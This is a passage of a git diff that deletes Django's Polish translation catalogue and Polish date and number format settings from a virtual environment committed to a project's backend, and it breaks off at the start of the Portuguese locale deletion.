-msgstr "Wpisz poprawną wartość." - -msgid "Enter a valid domain name." -msgstr "Wpisz poprawną nazwę domeny." - -msgid "Enter a valid URL." -msgstr "Wpisz poprawny URL." - -msgid "Enter a valid integer." -msgstr "Wprowadź poprawną liczbę całkowitą." - -msgid "Enter a valid email address." -msgstr "Wprowadź poprawny adres email." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Wpisz poprawny „slug” zawierający litery, cyfry, podkreślenia i myślniki." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Wpisz poprawny „slug” zawierający litery Unicode, cyfry, podkreślenia i " -"myślniki." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Wpisz poprawny adres %(protocol)s. " - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 lub IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Wpisz tylko cyfry oddzielone przecinkami." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Upewnij się, że ta wartość jest %(limit_value)s (jest %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Upewnij się, że ta wartość jest mniejsza lub równa %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Upewnij się, że ta wartość jest większa lub równa %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Upewnij się, że ta wartość jest wielokrotnością wielkości " -"kroku%(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Upewnij się, że ta wartość jest wielokrotnością %(limit_value)s, zaczynają " -"od %(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s i tak " -"dalej." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Upewnij się, że ta wartość ma przynajmniej %(limit_value)d znak (obecnie ma " -"%(show_value)d)." -msgstr[1] "" -"Upewnij się, że ta wartość ma przynajmniej %(limit_value)d znaki (obecnie ma " -"%(show_value)d)." -msgstr[2] "" -"Upewnij się, że ta wartość ma przynajmniej %(limit_value)d znaków (obecnie " -"ma %(show_value)d)." -msgstr[3] "" -"Upewnij się, że ta wartość ma przynajmniej %(limit_value)d znaków (obecnie " -"ma %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Upewnij się, że ta wartość ma co najwyżej %(limit_value)d znak (obecnie ma " -"%(show_value)d)." -msgstr[1] "" -"Upewnij się, że ta wartość ma co najwyżej %(limit_value)d znaki (obecnie ma " -"%(show_value)d)." -msgstr[2] "" -"Upewnij się, że ta wartość ma co najwyżej %(limit_value)d znaków (obecnie ma " -"%(show_value)d)." -msgstr[3] "" -"Upewnij się, że ta wartość ma co najwyżej %(limit_value)d znaków (obecnie ma " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Wpisz liczbę." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Upewnij się, że łącznie nie ma więcej niż %(max)s cyfry." -msgstr[1] "Upewnij się, że łącznie nie ma więcej niż %(max)s cyfry." -msgstr[2] "Upewnij się, że łącznie nie ma więcej niż %(max)s cyfr." -msgstr[3] "Upewnij się, że łącznie nie ma więcej niż %(max)s cyfr." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -"Upewnij się, że liczba ma nie więcej niż %(max)s cyfrę po przecinku." -msgstr[1] "" -"Upewnij się, że liczba ma nie więcej niż %(max)s cyfry po przecinku." -msgstr[2] "Upewnij się, że liczba ma nie więcej niż %(max)s cyfr po przecinku." -msgstr[3] "Upewnij się, że liczba ma nie więcej niż %(max)s cyfr po przecinku." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Upewnij się, że liczba ma nie więcej niż %(max)s cyfrę przed przecinkiem." -msgstr[1] "" -"Upewnij się, że liczba ma nie więcej niż %(max)s cyfry przed przecinkiem." -msgstr[2] "" -"Upewnij się, że liczba ma nie więcej niż %(max)s cyfr przed przecinkiem." -msgstr[3] "" -"Upewnij się, że liczba ma nie więcej niż %(max)s cyfr przed przecinkiem." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Rozszerzenie pliku „%(extension)s” jest niedozwolone. Dozwolone rozszerzenia " -"to: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Znaki null są niedozwolone." - -msgid "and" -msgstr "i" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" -"Istnieje już instancja modelu %(model_name)s mająca takie same pole/pola " -"%(field_labels)s." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Ograniczenie \"%(name)s\" zostało naruszone." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Wartość %(value)r nie jest poprawnym wyborem." - -msgid "This field cannot be null." -msgstr "To pole nie może być puste." - -msgid "This field cannot be blank." -msgstr "To pole nie może być puste." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Istnieje już %(model_name)s z tą wartością pola %(field_label)s." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"Wartość pola %(field_label)s musi być unikatowa dla %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Pole typu: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Wartością „%(value)s” musi być True albo False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Wartością „%(value)s” musi być True, False lub None." - -msgid "Boolean (Either True or False)" -msgstr "Wartość logiczna (True lub False – prawda lub fałsz)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Ciąg znaków (do %(max_length)s znaków)" - -msgid "String (unlimited)" -msgstr "Ciąg znaków (bez limitu)" - -msgid "Comma-separated integers" -msgstr "Liczby całkowite rozdzielone przecinkami" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Wartość „%(value)s” ma nieprawidłowy format daty. Musi być ona w formacie " -"YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Wartość „%(value)s” ma prawidłowy format (YYYY-MM-DD), ale jest " -"nieprawidłową datą." - -msgid "Date (without time)" -msgstr "Data (bez godziny)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Wartość „%(value)s” ma nieprawidłowy format. Musi być ona w formacie YYYY-MM-" -"DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Wartość „%(value)s” ma prawidłowy format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]), ale jest nieprawidłową datą/godziną." - -msgid "Date (with time)" -msgstr "Data (z godziną)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Wartością „%(value)s” musi być liczba dziesiętna." - -msgid "Decimal number" -msgstr "Liczba dziesiętna" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Wartość „%(value)s” ma błędny format. Poprawny format to [DD] [HH:[MM:]]ss[." -"uuuuuu]." - -msgid "Duration" -msgstr "Czas trwania" - -msgid "Email address" -msgstr "Adres e-mail" - -msgid "File path" -msgstr "Ścieżka do pliku" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Wartością „%(value)s” musi być liczba zmiennoprzecinkowa." - -msgid "Floating point number" -msgstr "Liczba zmiennoprzecinkowa" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Wartością „%(value)s” musi być liczba całkowita." - -msgid "Integer" -msgstr "Liczba całkowita" - -msgid "Big (8 byte) integer" -msgstr "Duża liczba całkowita (8 bajtów)" - -msgid "Small integer" -msgstr "Mała liczba całkowita" - -msgid "IPv4 address" -msgstr "adres IPv4" - -msgid "IP address" -msgstr "Adres IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Wartością „%(value)s” musi być None, True lub False." - -msgid "Boolean (Either True, False or None)" -msgstr "Wartość logiczna (True, False, None – prawda, fałsz lub nic)" - -msgid "Positive big integer" -msgstr "Dodatnia duża liczba całkowita" - -msgid "Positive integer" -msgstr "Dodatnia liczba całkowita" - -msgid "Positive small integer" -msgstr "Dodatnia mała liczba całkowita" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (do %(max_length)s znaków)" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Wartość „%(value)s” ma nieprawidłowy format. Musi być ona w formacie HH:MM[:" -"ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Wartość „%(value)s” ma prawidłowy format (HH:MM[:ss[.uuuuuu]]), ale jest " -"nieprawidłową wartością czasu." - -msgid "Time" -msgstr "Czas" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Dane w postaci binarnej" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "Wartość „%(value)s” nie jest poprawnym UUID-em." - -msgid "Universally unique identifier" -msgstr "Uniwersalnie unikalny identyfikator" - -msgid "File" -msgstr "Plik" - -msgid "Image" -msgstr "Plik graficzny" - -msgid "A JSON object" -msgstr "Obiekt JSON" - -msgid "Value must be valid JSON." -msgstr "Wartość musi być poprawnym JSON-em." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "Instancja %(model)s z %(field)s %(value)r nie jest poprawnym wyborem." - -msgid "Foreign Key (type determined by related field)" -msgstr "Klucz obcy (typ określony przez pole powiązane)" - -msgid "One-to-one relationship" -msgstr "Powiązanie jeden do jednego" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "powiązanie %(from)s do %(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "powiązania %(from)s do %(to)s" - -msgid "Many-to-many relationship" -msgstr "Powiązanie wiele-do-wielu" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "To pole jest wymagane." - -msgid "Enter a whole number." -msgstr "Wpisz liczbę całkowitą." - -msgid "Enter a valid date." -msgstr "Wpisz poprawną datę." - -msgid "Enter a valid time." -msgstr "Wpisz poprawną godzinę." - -msgid "Enter a valid date/time." -msgstr "Wpisz poprawną datę/godzinę." - -msgid "Enter a valid duration." -msgstr "Wpisz poprawny czas trwania." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Liczba dni musi wynosić między {min_days} a {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Nie wysłano żadnego pliku. Sprawdź typ kodowania formularza." - -msgid "No file was submitted." -msgstr "Żaden plik nie został przesłany." - -msgid "The submitted file is empty." -msgstr "Wysłany plik jest pusty." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Upewnij się, że nazwa pliku ma co najwyżej %(max)d znak (obecnie ma " -"%(length)d)." -msgstr[1] "" -"Upewnij się, że nazwa pliku ma co najwyżej %(max)d znaki (obecnie ma " -"%(length)d)." -msgstr[2] "" -"Upewnij się, że nazwa pliku ma co najwyżej %(max)d znaków (obecnie ma " -"%(length)d)." -msgstr[3] "" -"Upewnij się, że nazwa pliku ma co najwyżej %(max)d znaków (obecnie ma " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Prześlij plik lub zaznacz by usunąć, ale nie oba na raz." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Prześlij poprawny plik graficzny. Aktualnie przesłany plik nie jest " -"grafiką lub jest uszkodzony." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Wybierz poprawną wartość. %(value)s nie jest żadną z dostępnych opcji." - -msgid "Enter a list of values." -msgstr "Podaj listę wartości." - -msgid "Enter a complete value." -msgstr "Wprowadź kompletną wartość." - -msgid "Enter a valid UUID." -msgstr "Wpisz poprawny UUID." - -msgid "Enter a valid JSON." -msgstr "Wpisz poprawny JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Ukryte pole %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Brakuje danych ManagementForm lub zostały one naruszone. Brakujące pola: " -"%(field_names)s. Złóż zgłoszenie błędu, jeśli problem się powtarza." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Proszę wysłać co najwyżej %(num)dformularz." -msgstr[1] "Proszę wysłać co najwyżej %(num)d formularze." -msgstr[2] "Proszę wysłać co najwyżej %(num)dformularzy." -msgstr[3] "Proszę wysłać co najwyżej %(num)dformularzy." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Proszę wysłać co najmniej %(num)d formularz." -msgstr[1] "Proszę wysłać co najmniej %(num)dformularze." -msgstr[2] "Proszę wysłać co najmniej %(num)d formularzy." -msgstr[3] "Proszę wysłać co najmniej %(num)d formularzy." - -msgid "Order" -msgstr "Kolejność" - -msgid "Delete" -msgstr "Usuń" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Popraw zduplikowane dane w %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Popraw zduplikowane dane w %(field)s, które muszą być unikalne." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Popraw zduplikowane dane w %(field_name)s, które wymaga unikalności dla " -"%(lookup)s w polu %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Popraw poniższe zduplikowane wartości." - -msgid "The inline value did not match the parent instance." -msgstr "Wartość inline nie pasuje do obiektu rodzica." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Wybierz poprawną wartość. Podana nie jest jednym z dostępnych wyborów." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "„%(pk)s” nie jest poprawną wartością." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s nie mógł zostać zinterpretowany w strefie czasowej " -"%(current_timezone)s; może być niejednoznaczny lub może nie istnieć." - -msgid "Clear" -msgstr "Wyczyść" - -msgid "Currently" -msgstr "Teraz" - -msgid "Change" -msgstr "Zmień" - -msgid "Unknown" -msgstr "Nieznany" - -msgid "Yes" -msgstr "Tak" - -msgid "No" -msgstr "Nie" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "tak,nie,może" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bajt" -msgstr[1] "%(size)d bajty" -msgstr[2] "%(size)d bajtów" -msgstr[3] "%(size)d bajtów" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "po południu" - -msgid "a.m." -msgstr "rano" - -msgid "PM" -msgstr "po południu" - -msgid "AM" -msgstr "rano" - -msgid "midnight" -msgstr "północ" - -msgid "noon" -msgstr "południe" - -msgid "Monday" -msgstr "Poniedziałek" - -msgid "Tuesday" -msgstr "Wtorek" - -msgid "Wednesday" -msgstr "Środa" - -msgid "Thursday" -msgstr "Czwartek" - -msgid "Friday" -msgstr "Piątek" - -msgid "Saturday" -msgstr "Sobota" - -msgid "Sunday" -msgstr "Niedziela" - -msgid "Mon" -msgstr "Pon" - -msgid "Tue" -msgstr "Wt" - -msgid "Wed" -msgstr "Śr" - -msgid "Thu" -msgstr "Czw" - -msgid "Fri" -msgstr "Pt" - -msgid "Sat" -msgstr "So" - -msgid "Sun" -msgstr "Nd" - -msgid "January" -msgstr "Styczeń" - -msgid "February" -msgstr "Luty" - -msgid "March" -msgstr "Marzec" - -msgid "April" -msgstr "Kwiecień" - -msgid "May" -msgstr "Maj" - -msgid "June" -msgstr "Czerwiec" - -msgid "July" -msgstr "Lipiec" - -msgid "August" -msgstr "Sierpień" - -msgid "September" -msgstr "Wrzesień" - -msgid "October" -msgstr "Październik" - -msgid "November" -msgstr "Listopad" - -msgid "December" -msgstr "Grudzień" - -msgid "jan" -msgstr "sty" - -msgid "feb" -msgstr "lut" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "kwi" - -msgid "may" -msgstr "maj" - -msgid "jun" -msgstr "cze" - -msgid "jul" -msgstr "lip" - -msgid "aug" -msgstr "sie" - -msgid "sep" -msgstr "wrz" - -msgid "oct" -msgstr "paź" - -msgid "nov" -msgstr "lis" - -msgid "dec" -msgstr "gru" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Sty." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Lut." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Mar." - -msgctxt "abbrev. month" -msgid "April" -msgstr "Kwi." - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maj" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Cze." - -msgctxt "abbrev. month" -msgid "July" -msgstr "Lip." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Sie." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Wrz." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Paź." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Lis." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Gru" - -msgctxt "alt. month" -msgid "January" -msgstr "stycznia" - -msgctxt "alt. month" -msgid "February" -msgstr "lutego" - -msgctxt "alt. month" -msgid "March" -msgstr "marca" - -msgctxt "alt. month" -msgid "April" -msgstr "kwietnia" - -msgctxt "alt. month" -msgid "May" -msgstr "maja" - -msgctxt "alt. month" -msgid "June" -msgstr "czerwca" - -msgctxt "alt. month" -msgid "July" -msgstr "lipca" - -msgctxt "alt. month" -msgid "August" -msgstr "sierpnia" - -msgctxt "alt. month" -msgid "September" -msgstr "września" - -msgctxt "alt. month" -msgid "October" -msgstr "października" - -msgctxt "alt. month" -msgid "November" -msgstr "listopada" - -msgctxt "alt. month" -msgid "December" -msgstr "grudnia" - -msgid "This is not a valid IPv6 address." -msgstr "To nie jest poprawny adres IPv6." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "lub" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d rok" -msgstr[1] "%(num)d lata" -msgstr[2] "%(num)d lat" -msgstr[3] "%(num)d roku" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d miesiąc" -msgstr[1] "%(num)d miesiące" -msgstr[2] "%(num)d miesięcy" -msgstr[3] "%(num)d miesiąca" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d tydzień" -msgstr[1] "%(num)d tygodnie" -msgstr[2] "%(num)d tygodni" -msgstr[3] "%(num)d tygodnia" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dzień" -msgstr[1] "%(num)d dni" -msgstr[2] "%(num)d dni" -msgstr[3] "%(num)d dnia" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d godzina" -msgstr[1] "%(num)d godziny" -msgstr[2] "%(num)d godzin" -msgstr[3] "%(num)d godziny" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuta" -msgstr[1] "%(num)d minuty" -msgstr[2] "%(num)d minut" -msgstr[3] "%(num)d minut" - -msgid "Forbidden" -msgstr "Dostęp zabroniony" - -msgid "CSRF verification failed. Request aborted." -msgstr "Weryfikacja CSRF nie powiodła się. Żądanie zostało przerwane." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Widzisz tę wiadomość, ponieważ ta witryna HTTPS wymaga, aby przeglądarka " -"wysłała „nagłówek Referer”, a żaden nie został wysłany. Nagłówek ten jest " -"wymagany ze względów bezpieczeństwa, aby upewnić się, że twoja przeglądarka " -"nie została przechwycona przez osoby trzecie." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Jeżeli nagłówki „Referer” w Twojej przeglądarce są wyłączone, to proszę " -"włącz je ponownie. Przynajmniej dla tej strony, połączeń HTTPS lub zapytań " -"typu „same-origin”." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Jeśli używasz taga lub " -"umieszczasz nagłówek „Referrer-Policy: no-referrer”, prosimy je usunąć. " -"Ochrona przed atakami CSRF wymaga nagłówka „Referer”, aby wykonać ścisłe " -"sprawdzenie referera HTTP. Jeśli zależy ci na prywatności, użyj alternatyw " -"takich jak dla linków do stron osób trzecich." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Widzisz tą wiadomość, ponieważ ta witryna wymaga ciasteczka CSRF do " -"przesyłania formularza. Ciasteczko to jest wymagane ze względów " -"bezpieczeństwa, aby upewnić się, że Twoja przeglądarka nie została " -"przechwycona przez osoby trzecie." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Jeżeli ciasteczka w Twojej przeglądarce są wyłączone, to proszę włącz je " -"ponownie. Przynajmniej dla tej strony lub żądań typu „same-origin”." - -msgid "More information is available with DEBUG=True." -msgstr "Więcej informacji jest dostępnych po ustawieniu DEBUG=True." - -msgid "No year specified" -msgstr "Nie określono roku" - -msgid "Date out of range" -msgstr "Data poza zakresem" - -msgid "No month specified" -msgstr "Nie określono miesiąca" - -msgid "No day specified" -msgstr "Nie określono dnia" - -msgid "No week specified" -msgstr "Nie określono tygodnia" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s nie są dostępne" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Wyświetlanie %(verbose_name_plural)s z datą przyszłą jest niedostępne, gdyż " -"atrybut '%(class_name)s.allow_future' ma wartość 'False'." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"Ciąg znaków „%(datestr)s” jest niezgodny z podanym formatem daty „%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Nie znaleziono %(verbose_name)s spełniających wybrane kryteria" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Podanego numeru strony nie można przekształcić na liczbę całkowitą, nie " -"przyjął on również wartości „last” oznaczającej ostatnią stronę z dostępnego " -"zakresu." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Nieprawidłowy numer strony (%(page_number)s): %(message)s " - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" -"Lista nie zawiera żadnych elementów, a atrybut „%(class_name)s.allow_empty” " -"ma wartość False." - -msgid "Directory indexes are not allowed here." -msgstr "Wyświetlanie zawartości katalogu jest tu niedozwolone." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "„%(path)s” nie istnieje" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Zawartość %(directory)s " - -msgid "The install worked successfully! Congratulations!" -msgstr "Instalacja przebiegła pomyślnie! Gratulacje!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Zobacz informacje o wydaniu dla Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Widzisz tę stronę, ponieważ w swoim pliku ustawień masz DEBUG=True i nie skonfigurowałeś " -"żadnych URL-i." - -msgid "Django Documentation" -msgstr "Dokumentacja Django" - -msgid "Topics, references, & how-to’s" -msgstr "Przewodniki tematyczne, podręczniki i przewodniki „jak to zrobić”" - -msgid "Tutorial: A Polling App" -msgstr "Samouczek: Aplikacja ankietowa" - -msgid "Get started with Django" -msgstr "Pierwsze kroki z Django" - -msgid "Django Community" -msgstr "Społeczność Django" - -msgid "Connect, get help, or contribute" -msgstr "Nawiąż kontakt, uzyskaj pomoc lub wnieś swój wkład" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pl/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/pl/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pl/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/pl/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index e5f56473..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/pl/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pl/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/pl/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index f0e0dd54..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/pl/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pl/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/pl/formats.py deleted file mode 100644 index 2ad1bfee..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/pl/formats.py +++ /dev/null @@ -1,30 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j E Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j E Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j E" -SHORT_DATE_FORMAT = "d-m-Y" -SHORT_DATETIME_FORMAT = "d-m-Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' - "%y-%m-%d", # '06-10-25' - # "%d. %B %Y", # '25. października 2006' - # "%d. %b. %Y", # '25. paź. 2006' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = " " -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/pt/LC_MESSAGES/django.mo deleted file mode 100644 index d7745a7b..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/pt/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/pt/LC_MESSAGES/django.po deleted file mode 100644 index b4d3a88e..00000000 --- 